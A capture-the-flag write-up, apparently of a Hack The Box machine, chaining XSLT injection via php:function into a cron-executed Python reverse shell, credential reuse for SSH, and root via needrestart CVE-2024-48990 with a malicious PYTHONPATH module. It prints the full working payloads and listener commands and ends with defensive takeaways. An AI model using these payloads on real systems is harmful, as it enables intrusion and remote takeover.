Enumeration
An initial Nmap scan revealed ports 22 (SSH) and 80 (HTTP). The web application was a file format conversion tool — users could upload documents in one format and receive them converted to another. After registering an account, I found the application accepted XSLT stylesheets as part of the conversion workflow. The application also offered downloadable source code, which I pulled down immediately for review.
nmap -sV -sC -oA conversor 10.10.11.x
# 22/tcp ssh, 80/tcp http — conversor.htb
Source Code Analysis
Reviewing the provided source code revealed that the conversion engine processed user-supplied XSLT files using a PHP XSLT processor with extension elements enabled. This is the critical detail — extension elements allow XSLT stylesheets to call external functions and interact with the underlying system, rather than just performing XML transformations. With this configuration in place, XSLT injection becomes a direct path to arbitrary file writes on the server.
Additionally, the source code commented on a scheduled task: a cron job running every minute executed all Python scripts found in /var/www/conversor/scripts/ as the www-data user. If I could write a .py file to that directory, I would achieve code execution.
Initial Access — XSLT Injection to Cron Execution
Crafting the XSLT Payload
I crafted a malicious XSLT file using the php:function extension element — a feature of PHP's XSLT processor that allows the stylesheet to invoke arbitrary PHP functions during transformation. The payload used file_put_contents to write a Python reverse shell script into the cron-watched directory:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl"
extension-element-prefixes="php">
<xsl:template match="/">
<xsl:value-of select="php:function('file_put_contents',
'/var/www/conversor/scripts/shell.py',
'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.x",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash",\"-i\"])'
)"/>
</xsl:template>
</xsl:stylesheet>
Uploading this stylesheet through the conversion interface triggered the XSLT processing engine, which in turn called file_put_contents and wrote the Python script to the target directory. Within 60 seconds, the cron job fired and executed the script.
# Listener
nc -lvnp 4444
# Shell received as www-data after cron tick
The combination of XSLT extension elements and a cron-watched writable directory is a particularly clean chain — no memory corruption, no exploit kit, just two application-level misconfigurations compounding each other.
Lateral Movement — Credential Extraction
With a shell as www-data, I enumerated the application configuration files. The database configuration contained credentials for a user named fismathack. Testing these credentials via SSH confirmed they were reused as the system account password, giving me a stable interactive session and the user flag.
ssh [email protected]
# Password from application database config
Privilege Escalation — needrestart CVE-2024-48990
Checking sudo -l as fismathack revealed:
sudo -l
# (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
needrestart is a utility that checks whether running services need to be restarted after library or kernel updates. It runs as root and was assigned a NOPASSWD sudo rule here, making it directly exploitable. The version on this system was affected by CVE-2024-48990 — a local privilege escalation that abuses needrestart's interpreter scanning behaviour.
When needrestart scans running processes to identify those using outdated libraries, it checks the interpreter path for each process. By controlling the PYTHONPATH environment variable and spawning a process with a crafted interpreter path, an attacker can cause needrestart (running as root) to execute attacker-controlled code:
# Create malicious Python "module" that spawns a root shell
mkdir -p /tmp/evil
cat > /tmp/evil/os.py <<'EOF'
import pty
pty.spawn('/bin/bash')
EOF
# Trigger needrestart with manipulated PYTHONPATH
sudo PYTHONPATH=/tmp/evil /usr/sbin/needrestart
When needrestart imported the os module during its Python interpreter check, it loaded the malicious /tmp/evil/os.py instead of the real one, spawning a root shell directly.
Takeaways
- XSLT extension elements should be disabled by default in any server-side XSLT processor that handles user-supplied stylesheets. The
php:functionextension in particular is equivalent to arbitrary code execution when exposed to untrusted input. - World-writable or application-writable directories watched by cron are a critical misconfiguration. Any cron job that executes all files in a directory should have that directory locked down to root ownership with no external write access.
- CVE-2024-48990 is a reminder that system utilities run with elevated privileges are part of the attack surface — particularly when they import scripting interpreters and can be influenced by environment variables.
- NOPASSWD sudo rules on non-trivial system binaries are almost always exploitable — if a binary has any complex behaviour (imports, plugins, scripts), it can likely be abused for escalation.